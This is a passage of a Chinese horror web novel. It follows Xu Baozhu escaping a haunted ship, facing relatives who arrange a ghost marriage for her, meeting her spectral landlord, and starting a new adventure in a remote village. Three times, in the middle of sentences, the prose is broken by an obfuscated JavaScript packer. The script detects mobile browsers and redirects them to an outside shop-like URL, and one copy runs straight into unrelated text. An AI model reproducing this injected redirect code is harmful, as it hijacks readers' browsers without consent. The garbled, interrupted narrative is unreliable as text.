徐宝珠眉头一皱,她眼里闪过疑惑,于是试探地往鲛人手臂划了一道口子,对面的怪物立马疯了似地回头往墙上撞,砰砰砰的撞声听起来就很痛。 “怪物怎么了?”马修也是满脸疑惑。 “看来,我们挟持鲛人的举动做对了。”徐宝珠静静地开口。 马修看着鲛人手臂上的刀口和怪物疯狂撞墙的举动,眼里的恐惧渐渐变成狠辣,他缓缓开口,语气阴森可怕,“怪物和鲛人息息相关,要是我们杀了鲛人,你说它还活得了吗?” 他的主意虽然疯狂,但细想也有些道理,但徐宝珠只心动了一瞬就拒绝了。 她盯着鲛人懵懂的脸庞,回头警告,“你忘了外面还有十几条鲛人,要是杀了这条,你猜猜外面的会放过你?” 想到船板下不停撞船的那群灰白脸庞,马修不由得瑟瑟发抖,他不甘心地瞪了一眼怪物,还是点了点头。 徐宝珠把鲛人交给了马修,连忙跑过去查看德林的情形,她扶起德里,手搭在他的肩膀摇晃,轻声呼喊,“德林?” 德林躺在她的怀里,动作缓慢地睁开眼,一双绿眼睛一动不动地盯着她看,他气息虚弱,几乎已经到了呼吸都困难的地步了。 德林执拗地望着她,视线渐渐往下,落在她吊着的玉佩上,他试图抬手去抓,但手臂却没有力气。 徐宝珠见状,立马扯下玉佩放进他手心。 德林指尖摩挲着玉佩的轮廓,虚弱的脸上露出心满意足的笑意,他闭着眼,轻声询问,“她还活着吗?” “谁?”徐宝珠没听清他问的是谁,于是低下头把耳朵贴近问。 “方……方,她还活着吗?” 德林说这句话用尽了所有的力气,说完就剧烈地咳嗽起来,他唇边不断溢血,但德林却固执地盯着徐宝珠,势必要从她口中找一个答案。 徐宝珠不明所以地看着他的眼神,他像是透过她在望着另一个人。 徐宝珠难受地扭过脸,原来的这条船上除了顾客,还有谁是东方的姓氏? 可是方小姐要是没死,她也进入不了这个故事里…… 她强忍着眼底的泪意,咬着唇不停地点头,“活着,她活得很好。” 她实在不忍心说出实情,于是扯了个谎。 德林得到了答案,嘴角上扬,露出安心的笑容,绿眼睛在她的怀中渐渐失去光泽,向来生动懒散的脸庞也逐渐变得灰白。 “德林……”徐宝珠难过地抱紧德林的尸体,他是她在这里认识的第一个人,也是她见过最讲义气的水手。 “别哭了,快走吧!” 看见德林断气后,马修眼里闪过一丝不忍,开口催促道。 徐宝珠也知道现在的情形不适合悲伤,她放下德林,从衣服上撕了一块布盖在他的脸上。 再次起身时,徐宝珠情绪已经平复了不少,她走到周槐引跟前,见他已经昏迷不醒了,她伸出手指放在他鼻下,见还有气息后才松了口气。 徐宝珠和马修换了个位置,她挟持着鲛人,让马修去背周槐引。 “我们去甲板上。”徐宝珠低头打量着她从马修那里拿到的怀表,上面显示现在是下午七点四十。 马上就天亮了……她望着外面的月亮心事重重地想。 临走前,徐宝珠回头看了一眼洒了满地的海水,昏暗的视线里,甲板上隐隐有金光闪过,她定睛一样,地上居然全是闪着碎光的金泥。 她诧异地盯着金泥,这捧泥土是从鲛人潭里挖出来的,原来鲛人岛真的有宝藏,而且……就在众人眼皮底下这么久也没被发觉。 徐宝珠瞧了一眼走在前头的马修,想了想,还是没出声。 他们一路倒退着离开了底下的船舱,在上到二层甲板时,船舱里的怪物突然追了出来,徐宝珠动作一顿,盯着它没动。 好在怪物只是跟着,没有做出伤害性的举动。 徐宝珠站在船头,夜晚的海风凛冽,将她的头发吹得飞舞,她望着底下海面上齐齐仰着脸无声盯着他们的鲛人,有些忐忑不安。 马修跟着她来到了船头,但他还是不明白徐宝珠到底想做什么,“来这里有什么用!不杀了怪物我们还是逃不掉!” “杀了它又怎么样,你觉得底下的鲛人会放过这条船吗?”她语气很冲地开口。 “那怎么办!”马修脸上露出绝望,他跌坐在甲板上,背上的周槐引也顺势摔倒在地上。 徐宝珠眼里闪过不忍,但她必须要挟持住鲛人来控制对面的怪物,所以抽不开身去扶他。 “再等等!”她想了想,谨慎地劝他。 “还要在等什么!等死吗!”马修的心理防线几乎已经到了崩溃的地步,他猩红着眼,不断朝着徐宝珠大喊。 “你冷静一点!”徐宝珠站在船头不耐地瞪着他。 “我冷静不了!” 马修听了这话,情绪突然更加激动起来,他冲到徐宝珠面前,指着鲛人暴躁地大骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533091|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你就靠着这条丑东西来威胁怪物……” 他话还没说完,陡然卡住了,徐宝珠视线往下,顿时惊住了。 原本情绪一直都很稳定的鲛人忽然掀起修长的鱼尾,鱼尾卷起马修的双腿往后一拉,马修立马倒在了甲板上。 不仅如此,鲛人用鱼尾把马修拖在甲板上甩来甩去,不时撞上桅杆和木板,马修的惨叫声久久地盘旋在甲板上。 徐宝珠不忍地撇开眼,暗道叫你一直骂人家丑,都吃过亏了还要骂。 鲛人玩够了之后,忽然鱼尾一弯,竟然直接将马修甩进了海里。 徐宝珠猛地没缓过劲,等她醒过神来的时候,只听见扑通一声,几十条鱼尾纷纷扎进了海底,朝着马修一拥而上。 不一会,马修沉入了深海,彻底不见踪影。 徐宝珠眼睁睁看着马修十几条鲛人被拖到海底再也没浮出水面,她吓得脸色苍白,心脏砰砰直跳。 再次回头看着被她乖乖挟持的鲛人时,手臂就带上了几分颤抖。 “什么时候了?” 身边一直昏迷的周槐引不知道什么时候突然醒了过来,他虚扶着栏杆走了过来。 “七点五十八。” 徐宝珠看了眼怀表回答。 “嗯。”周槐引也没问怎么只剩下她一个人了,得到回答后他就一直盯着海面看。 八点一到,天空骤然变亮,一轮炙热的太阳瞬间挂在天边。 然而,徐宝珠紧紧地盯着对面的怪物,这只怪物居然没有躲起来,反而直愣愣地站在甲板上。 “这是怎么回事?!”她惊呼出声,不是说怪物害怕夜晚吗? 周槐引神情严肃地盯着怪物,语调沉沉,“它不打算放过我们了,等晚上天一亮,恐怕你挟持鲛人也没用。” “你的意思是我们今天晚上必须要离开?可我们怎么离开?” 周槐引沉默半晌,他眸中倒映着清冷的月色,忽然道:“跳海。” 徐宝珠惊得嘴唇轻张,她强调,“马修已经死了!” “那是他跳早了!”周槐引语气淡淡,“天还没黑他就跳了下去,当然没有。” “什么意思……”徐宝珠隐约能明白他的意思,但脑中几条线索交织在一起,反而找不出正确的生路。 “它真正怕的不是夜晚,而是夜晚的月亮。”周槐引简单解释了了下。 “可它不是好端端站在月亮底下?” 周槐引眸光一敛,“你忘了我们在的地方昼夜颠倒,所以……” “所以海里的才是真正的月亮!”徐宝珠眼睛一亮,瞬间想到了昨晚自己的猜测,立马接上话。 “嗯。”周槐引眼里闪过欣赏。 “时间紧迫,快跳!”周槐引语气带着几分急迫。 徐宝珠站在船头,脚底是幽深无边的深渊,她咬着牙,双腿颤抖,她回头看了一眼旁边的周槐引,“我相信你。” 说完,她眼睛一闭,松开缚着鲛人的手,往前一步径直跳进波莫尼大海。 随着几道扑通的水声响起,徐宝珠在幽蓝的大海里拼命地往上游,她强忍着海水的刺眼睁眼。 只见蔚蓝的海水里,十几条鲛人正在不远处静静地漂浮着,它们像是感受到了她的目光,忽然一起回头,十几张灰白的脸庞吓得徐宝珠赶忙拂开海水想游走。 但她不会游泳,越挣扎往下沉得越快,最后她只能和鲛人们对视着沉下去。 好在,这群鲛人只是看了她一眼,就集齐游走了,健美的鱼尾在海底划过优美的水痕。 快要昏迷前,一只阴凉的手突然紧紧握住她的手臂,随后阴冷的触觉陡然贴上来,将她紧紧裹住,这人手上的戒环膈得她手臂一阵痛感传来,徐宝珠紧皱着眉心,下意识地伸手推开,却被一道湿冷的触碰拍了下。 徐宝珠恍然大悟,原来上次鲛人潭不是她的幻觉,周槐引那时候就找到她了。 16. 古董店的新房东 “姑娘!姑娘醒醒!” 周围响起嘈杂的人声,徐宝珠迷迷糊糊间感觉到有人在摇晃自己,她睁开眼,视线里瞬间挤满几个脑袋。 隔壁楼栋的王阿姨见她睁开了眼,长舒一口气,她吓得不行,连忙哎呦哎呦地抚着胸口顺气,“小徐啊,你说你大早上的怎么睡在地上呢?” 徐宝珠坐起来,才发现这里是她小区的楼栋底下。 她活过来了! 迟来的欣喜猛烈地从心头涌上来,她飞快地爬起来,不顾王阿姨的热情劝阻,在大家关切的眼神里脚步轻快地上楼回家。 她一边按下电梯楼层,一遍从口袋里掏出手机。 上面的时间显示只过了一天,这么说来,故事里的时间和现实生活是不一致的。 她用指尖划开屏幕,在主页面翻来翻去,终于在角落里找到了恐怖故事古董店的软件,徐宝珠眉眼染上喜意地点开。 商品售卖栏里赫然多了一个小红点,徐宝珠点开后,上面显示已售出青鱼镂雕鲤鱼佩。 她手指点住屏幕往下翻,轻声念,“售出价,十年生命值。” 这么说,她可以平安活到三十五岁了,徐宝珠清淡地勾唇浅笑,忽然觉得这几天遭的罪都不算什么大事。 她把手机揣回包里,先前在故事里断了的手臂也奇异地恢复正常了,她轻松地晃了晃胳膊,心情颇好地轻轻哼着歌回家。 隔天,徐宝珠照例去店里开门。 即便是提前做好了心理准备,但她还是被突然闯进眼里的红木棺材吓了一跳。 她花了半个小时打扫完卫生后,坐在柜台后面掏出手机翻找。 昨天她在手机里找了一天也没看见周槐引的联系方式,打算今天继续。 然而她刚坐下,向来冷清的古董店忽然涌进了几个叽叽喳喳的中年妇女。 其中一个眼角带着三条鱼尾纹的短发女士直接走到柜台前,她挎着名牌包,举起戴满金戒指的手不由分说地敲着玻璃柜台,“你就是徐宝珠?” 徐宝珠莫名地看着她,脑子里飞快地浏览过一遍,发现她的确不认识这个人。 但进来的就是顾客,所以徐宝珠还是站了起来,脸上勾起一抹笑,“您好,请问……” “宝珠,你不认识我了!”她话还没说完,原本在后面看古董品的一个妇人突然走过来,大咧咧地打断了她的话。 看清女人的脸后,徐宝珠脸上的笑容瞬间收敛,她冷淡地看着她,“婶婶有什么事。” 徐婶子被她冷淡的态度吓退了半步,但她余光瞥了瞥隔壁财大气粗的杨姐,还是鼓着劲儿热情地开口,“宝珠啊,你知道叔叔婶婶向来是最疼你的……” 她说着说着,忽然被徐宝珠唇角的冷笑吓得噤声,这丫头本来就阴森阴森的,这一冷笑就更吓人了! 徐婶子往后退了几步,她正想继续说话,却被徐宝珠冷声打断。 “疼?” 徐宝珠冷言冷语地盯着她,“去年爷爷下葬的时候,你们非说我不吉利不让我为他捧盒摔碗,连灵堂都不让我进,世上哪有这样的疼爱?!” 徐婶子和身后的几个妇人霎时变了脸色,几人支支吾吾地低着头不肯说话。 徐婶子回头发现大家都低着脑袋,她苦着脸开口,“这种事有我们家小伟来做就成了,你一个女孩子……不吉……不吉利。” “这么看不起女人,那来找我做什么!”徐宝珠气急反笑,她干脆躺回藤椅里,仰着下巴盯着她们。 徐婶子一直跟旁边的女人赔着笑,闻言,立刻迫不及待地开口,“你爷爷生前最担心的就是你的终身大事,这不,杨姐有个儿子。” 她口中的杨姐就是刚才穿金戴银的女人,杨姐早就用她飞上天的高傲眼神把徐宝珠从上到下打量了几十来遍,此刻提到自己,她立马往前一步。 杨姐眯着眼,盯着徐宝珠的脸啧啧地摇头,她惋惜道:“脸长得确实不错,只是嘛,这个性格……看着不好相处,我儿子以后要吃亏的!” 徐婶子一脸小心,“杨姐,年轻人有年轻人的相处方式,以后到地底下了多接触接触就有感情了。” “就是,杨姐,可别让你儿子等久了,不然……都臭了。”隔壁邻居家的赵婶凑过来插了一嘴,脸上还带着怪异的笑。 几人的对话越说越诡异,饶是徐宝珠再傻也听出不对劲了。 她陡然坐直,厉声盯着徐婶子,呵斥,“你给我订冥婚?!” 徐婶子还没反应过来,她一脸自然地点头,“冥婚怎么了,你不马上就死了。” 狭窄的古董店瞬间陷入一片死寂,偶尔有两股穿堂风掠过。 “滚。” 徐宝珠心脏跳个不停,她听见了自己格外冷静的声音。 乱糟糟的一窝人风风火火地来,又脸色讪讪地离开。 等古董店再度恢复安静之后,徐宝珠脱力般地瘫坐在椅子里,手指用力攥着胀痛的胸口,直到痛得发白才松开。 连她死了都不放过,这群人真是……混账! 徐宝珠恨恨地想,既然这么惦记她的死活,那她就拼命活着,活得比他们都长! 古董店今天照样没有生意,快闭店的时候,手机里忽然冒出一条陌生短信。 这个月店铺租金有变,见面详谈。 徐宝珠眉眼一垂,她疑惑地盯着信息看了两遍,她记得店铺的租金不是三年一缴,下一次还没到时间啊。 而且她明明有房东的联系方式,怎么会冒出一条陌生短信。 徐宝珠谨慎地联系了房东确认这条消息的真假。 房东回复得很快,不到半分钟就回了过来,“这是我一个侄子的电话,我出国了,以后你的房东就换成他。” 徐宝珠读完消息,眉心皱得更紧,她噼里啪啦地打字过去质问,“还没到交租金的时间吧!您这样能不能算违约,咱们两家做了至少也有八十年的生意,不能这样说变就变吧?!” 对方顿了顿,忽然回过来一句没头没脑的话,“你去见见他,说不定是惊喜。” 他这样一说,徐宝珠倒真的对这个新房东起了几分好奇。 她和新房东约定好时间地点后,就闭店准备打车过去。 徐宝珠站在路边招来一辆出租,她坐上去后直接念出来新房东给的地址。 “师傅,去送仙桥旁边的园林。” 地中海大叔刚打好表,听见徐宝珠要去的地方时,他立马关掉表,抠了抠头皮,为难道:“姑娘,这大晚上的,你干嘛去这个地方?” “有什么问题吗?”徐宝珠疑惑地歪头。 “这地方不干净,前段时间周围的邻居还说在大半夜听见里头吹吹打打像是在办事的动静,但是白天的时候又什么事都没有。”师傅眉头紧皱,纠结着要不要接她这单。 徐宝珠眼珠一转,恍然般陡然明亮,她勾唇轻笑,“您把我送到附近就行,我自己走过去。” 不出意外,她大概猜到这个新房东是谁了。 即便她这样说,师傅的脸上还是有几分犹豫,他摩挲着方向盘没动,直到徐宝珠提出可以加钱,他才一脚油门地开出去。 闭店的时候刚好赶上下班的点,马路上到处都是拥堵的车辆,出租车也被淹没在车流里。 深秋之后,霜叶红透路边的枫树,街边的清洁工正拿着大扫把将路边的落叶堆在一起。 徐宝珠打开车窗,伸出手接了一片从行道树上吹落下来的枫叶,红火的枫叶落在白皙的手心,将她的手染得格外鲜红。 她脑袋靠在靠背上,眼睛望向窗外层林尽染的美景。 不一会,在天彻底暗下来的时候,拥挤的马路才开始疏通,路上的也都打开了尾灯,最终淹没在灯火辉煌的都市一角。 到送仙桥的时候已经是晚上八点半,徐宝珠付完钱就在桥头下了车。 送仙桥附近有个古玩艺术城,门头是座半古半现代化的石楼。 徐爷爷以前闲着的时候老爱往这里扎堆,去淘些邮票印章什么的,但他从不把古董店里的东西拿过来这里。 徐宝珠也问过他原因,徐爷爷躺在藤椅里,摇着大蒲扇,一脸笑眯眯地睁开眼,“店里这些东西可不是寻常人能买走的。” 当时听完这话的徐宝珠还疑惑了好几天,现在想来,徐爷爷的话都有深层含义。 这个时间古玩城已经收摊了,不过周围的路灯还亮着,徐宝珠才不至于抹黑找路。 她不时低头掠过手机屏幕上的导航路线,有时走远了,有时又走岔了,来来回回走了快半个小时。 徐宝珠眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537083|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼烦躁地熄灭导航,她正烦着,一抬头,面前忽然出现了一座四合院似的大门。 大门两侧各挂着两盏灯笼,昏黄的灯光将她的影子影影绰绰地映在地面,门口种着一棵枝繁叶茂的老槐树,抽条的枝芽已经越过了门檐,有往院子里生长的趋势。 徐宝珠站在台阶上,有些犹豫地抬手叩门。 “来了!” 里头传来应门声,声音听上去沧桑嘶哑,不像是年轻人。 她等在门口,忐忑不安地抠着皮包的提手,没找错地方吧? “谁啊?” 大门吱嘎一声,从里面打开,铜棕色大门里出现一个打着手电的白发老头。 老头披着一件外套,里面穿着薄薄的睡衣,看样子是刚才睡下,他举起手电在她脸上晃了晃,徐宝珠立马抬手挡住刺眼的白光。 “你找谁?” “我……”她刚刚开口,正堂里忽然传来一道熟悉沉稳的男声。 “秦叔,是我的客人。” 秦叔回头朝着禁闭的门点了点头,他侧开身子,让徐宝珠进来,“少爷在屋内,你去吧。” 听见秦叔的称呼,徐宝珠不由得挑眉,没想到这人的生活过得还不错。 秦叔关上门后就回了旁边的屋子,让徐宝珠自己进去。 徐宝珠虽然不是第一次来,但上次是蒙着盖头被人扶着走的,今天来了后,她才发现这座小院里居然还有一条湖,湖边种满了花草,而湖的对面才是正厅。 虽然两边有回廊可以走过去,但她不想绕路,于是直接从湖上的桥过去。 她走到关着门的房间,轻轻咳了声让里头的人知道她来了,然后才打算敲门。 “别敲了,直接进来吧。”她才刚抬手,男人却像是有透视一般说道。 徐宝珠顿了下,立马不见外地直接推开门,里面和她上次来时没什么差别,只是取下了办事的装饰,和普通的客厅无异。 周槐引正端坐在客厅的椅子里,他手边端着一杯热菜,缓缓地往上旋起白雾。 门打开后,男人抬头看过来,黑洞洞的眼眶在夜晚还是吓得徐宝珠往后瑟缩了下。 “吓着你了?”周槐引敏锐地捕捉到了她往后退的动作,于是从包里摸索出一副墨镜戴上。 “这样好些了吗?” 他这么客气,反倒叫徐宝珠有些不好意思,她在旁边寻了个位置坐下,强迫着自己盯着他的眼睛夸赞。 “其实不用戴眼镜,看久了……也还好。” “还是戴着吧。”周槐引神情自然道。 “对了,你怎么变成我新房东了,还有你的叔叔是谁?他知道你的事吗?” 为了缓解尴尬的气氛,徐宝珠干脆扯开话题,问了一连串的问题。 “这位叔叔……其实应该算我的某位族孙,他大约知道我的身份特别,他口风很紧,不会随便出去乱说。”周槐引歪着头想了想,说道。 “至于房东,徐家的店铺本就是我当初租给徐小子的,我去世后,契约转交了周家其他人,现在只不过是收回来而已。” 原来如此,徐宝珠恍然地点头。 她不时地偷偷瞧一眼面色沉静的周槐引,没想到这人现在不仅是她的丈夫,还成了她的房东。 想到丈夫,她的脑海里就不由自主地回想起来那天的冥婚,她苦笑地想,自己在冥婚界还真抢手啊。 两人说完话后,屋里陡然陷入了一片沉默当中,徐宝珠不时地抱着茶杯喝水缓解尴尬。 她瞟了眼墙上的钟,已经快十点了,于是起身准备离开,“那什么,时间不早了,我就先走了。” “太晚了,要不你在这里留宿?”周槐引起身挽留。 “不不不……不用了,我打车就行。”徐宝珠余光扫了一眼这座屋子,总觉得到处都是阴森森的,连墙壁缝隙都往外透着凉气。 “好。” 周槐引也不强迫,他出门把她送到小院门口后,站在门后的院中静静地看着她,忽然开口提醒她,“下一个故事开启的时间是十天后,别忘了。” 见徐宝珠点了头,小院瞬间被一阵风关上,随即迅速地消失在她眼里,就连门口的老槐树也跟着没了。 徐宝珠惊讶地盯着空地看了半天,才僵硬着转过身往回走。 17. 清水河村 “轰隆隆!轰隆隆!” 老旧的发动机轰鸣声夹杂着人们聊天的声音不断在逼仄的公交上响起。 闷热嘈杂的公交车在狭窄的马路上行驶着,汽车不断晃动,连带着车窗上的穗子也不停地拂过最后一排昏睡着的女人额头。 车内几个二十来岁的年轻小伙不时地回头往她身上看一眼,然后几个人互相看来看去猥琐地笑一通。 “行了!” 这时,坐在最前面,抽着旱烟的中年男人瞪了他们一眼,“都安分点!” 说完,他的视线也不由得被女人姣好的容貌吸引过去,同时心里涌起一股担忧,这么好看的女人,能力能好到哪去?恐怕是个花架子吧。 徐宝珠就是在这样的目光中醒来的。 她刚睁开眼,就敏锐地捕捉到了一抹视线,她顺着回望过去,男人立马对着她温和地笑了笑,然后扭过头。 徐宝珠抿唇,看来他认识自己,等会就跟紧这个人。 她挽起身旁不停晃悠的穗子,眼神悄无声息地打量着车内的情况。 除了刚才的男人外,车里还有四个年轻人,他们坐在一起,挨着脑袋说话,应该是认识的。 剩下的四个人,一个年级稍大的男人,正抱着胳膊打瞌睡,三个脚边堆着同一家商场购物袋的阿姨,像是从城里刚刚购物回来。 不过……徐宝珠神情一敛。 无论是只有十座的小型公交车,还是车上众人款式老旧的花衬衫,都彰显着不对劲。 她抬眼看着司机旁边巨大的引擎盖,以及司机夹在耳朵上的诺基亚,再看明显和二零年不一样的公交车款式,这种老式的,车身蓝白色,结构简单的公交车分明是零几年才有的! 徐宝珠惊讶的瞬间,一张泛黄的长条车票从包里掉了出来。 她低头捡起来,看见上面的车票消息,才更加确认了自己的猜想。 她神情凝重地盯着车票。 零五年制,开往清水河村。 公交车一路走走停停,直到下午的时候,车里就只剩下她和抽着烟的男人,还有四个年轻男人。 公交车又开了三个小时,在三点的时候,终于停在了最后一站。 公交站旁边竖着的铁皮站牌已经发黄,铁皮经过雨水的不断冲刷,一条条黄色的铁水留下来,将站牌上的字迹打湿得模糊不堪。 但徐宝珠还是凭借她的眼神,认出来上来的字迹。 “清水河村站。”她轻声念道。 “徐师傅,咱们是在这等你师父,还是先进村?”先前跟她笑的男人站在徐宝珠旁边,态度谦和地询问她的意见。 徐宝珠眼珠转得飞快,她立马接口,“当然是等我师父!” 看样子,她是跟师父一起来清水河村办事的,可她什么都不会,肯定要等这个名义上的师父一起进村。 四个年轻人左右看了看,推出其中一个齐刘海的男人出来,男人为难地走过来劝她,“徐师傅,要是现在不进村,等会天黑了路不好走。” 徐宝珠看着十几米外聚集的小平房,疑惑地指着房子,“走两步不就到了?” 赵文胜抠了抠脑袋,一脸难为情,他不好意思地伸出手,指着小平房后面的山林,“清水河村在后面。” 徐宝珠顺着手指的方向望过去,“山林后面?” “还要再后面。” “山上?” “再后……” 徐宝珠脸色一黯,“再往后不还是一座大山……” 赵顺才收起烟杆在站牌上抖了抖烟灰,然后反手插在裤兜子里,“两座山中间有个沟,我们村就在沟里。” 徐宝珠这才死心,她脸色绝望地盯着已经往回开了一公里的汽车,无奈地挣扎,“我师父还有多久到?” 赵文胜嘿嘿一笑,“公交车一天一趟,你师父得明天才能来。” 徐宝珠一噎,那赵顺才问她干什么,她心里腹诽,面上仍不显,“他不认识路咋办?” 赵顺才开口,“你不用担心,我媳妇跟他一路。” 说完,他抬头看了眼天色,叹了口气,催促道:“快走吧。” 徐宝珠看了眼连绵不断的山,以及一眼望不到头的山路,再看其他几人都是已经习惯了的样子,一狠心,闭着眼视死如归般地答应了,“走吧。” 赵文胜他们常年翻越这两座山,翻山就跟走平地一样稳当,他们每个人都还扛着帮村民买的十来斤货物,也比只背着一个背包的徐宝珠走得快。 走到最后,连她的背包也到了赵五辈身上,这人性格无比热情,连拖带抢的就把她的背包取了下来。 他们一行人走了快五个小时的山路,直到山沟里的小村落亮起一盏盏微弱的白炽灯,几人才走到清水河村的村口。 徐宝珠站在村子门口,累得连说话的力气都没了,靠着电线杆柱子不住地喘气,她见家家户户都亮着灯,才稍微松了口气,这里至少还通电。 村门口早早地就等着人,拿着手电翘首以盼地往外头张望。 见他们走过去,立马热情地叽叽喳喳说起话。 “妈!” 赵文胜眼尖地瞧见了站在人堆里的妇女,立马热情地跑了过去,其余几个年轻人也在里面找到了自己的家人。 还有些村民是在这里等着取他们让赵文胜他们帮忙买的东西。 赵五辈从麻袋里翻出一斤白糖,“张婶的白糖!” 他们在村口分东西分得火热,赵顺才拍了拍过来接他的儿子肩膀,回头对独自站在电线杆下的徐宝珠道:“徐师傅这几天就先住在张婶家吧。” 说完,提着一大袋白糖的短头发中年妇女笑呵呵地朝她走过来,昏暗的视线里她目光打量了下这个外来的女人,笑着称赞。 “真俊的姑娘!只是怎么想着做这个?” 她惋惜地说出后半句。 徐宝珠不解地向她淡笑了下,虽然她暂时还没得到故事背景,但就张婶的话推断,她干的多半不是一份体面的工作。 村口的人散开后,徐宝珠就跟着面色和蔼的张婶往东边走。 张婶为人十分健谈,短短的十分钟路,徐宝珠就知道了张婶早年丧夫,现在跟女儿两个人生活。 还有赵顺才原来是清水河村的村长,难怪她的事都是由他安排的。 徐宝珠见她为人热情,于是想着先从她的口里问出来自己来这里的原因,然而,原本还满脸带笑的张婶,在她问出这句话后就瞬间变了脸色,沉着脸低头往家走,任凭她说什么都不肯再开口。 张家的房子建在一处地势高的平台上,门口有一米高的台阶,张喜凤和隔壁邻居就坐在门口的椅子上吹着夜风聊天。 门口的白炽灯点着,隐隐地从远处小路上走出来两道人影,一高一矮,一前一后,高的那道身影隐约还在追着前面那人的步子。 “我妈回来了,今天先不聊了。”张喜凤眼神一喜,立马起身赶走了邻居。 邻居走后,张喜凤连忙走下台阶到平地上等着。 徐宝珠跟着张婶从黑漆漆的小路出来时,看见的就是一个梳着两条粗辫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这得先问过我师父才能决定。”她想了想,还是把这事推到了她还没露面的师父身上。 吃完饭后,喜凤领着她往她原先住的屋子里去,她的屋子就在堂屋旁边,房间不大,只有十来平,但胜在干净。 房间里只有一张用木头搭的床和一张桌子,床上挂了蚊帐,屋里从外面拉进来一根很长的电线,电线这头吊着一个钨丝灯泡,暖黄的电丝在昏暗的夜里尽力地发着光。 徐宝珠走进去的时候,还被漏风的屋顶吓了一跳,她指着三角瓦片屋顶底下的缝隙惊讶地回头,“这安全吗?” 喜凤跟着她抬头,脸色如常,“村里都是这样的房子,没什么不安全的。” 张喜凤走后,徐宝珠过去锁门,她摸着墙上松松垮垮的铁插销,总觉得不太安全,于是在屋里转悠了一圈,还是把桌子搬到了门后堵着。 做完这一切,她也没急着睡,而是把随身携带了一整天的背包放到了床上,她自己则坐在床边翻包。 今天白天人多,谨慎起见,她就没在众目睽睽之下打开背包,现在刚好只剩她一个人。 她解开蓝色背包的扣子,拉开拉链,露出里面最上层的几件衣服,徐宝珠拨开衣服径直往底下找,然而她背包都翻遍了,也没找到任何古董。 徐宝珠不信邪地把包里的东西都捯了出来,她一样样地抖落开,还是没有。 她盯着满床的物品,满脑子都是疑惑,顾客的古董到底在哪儿呢?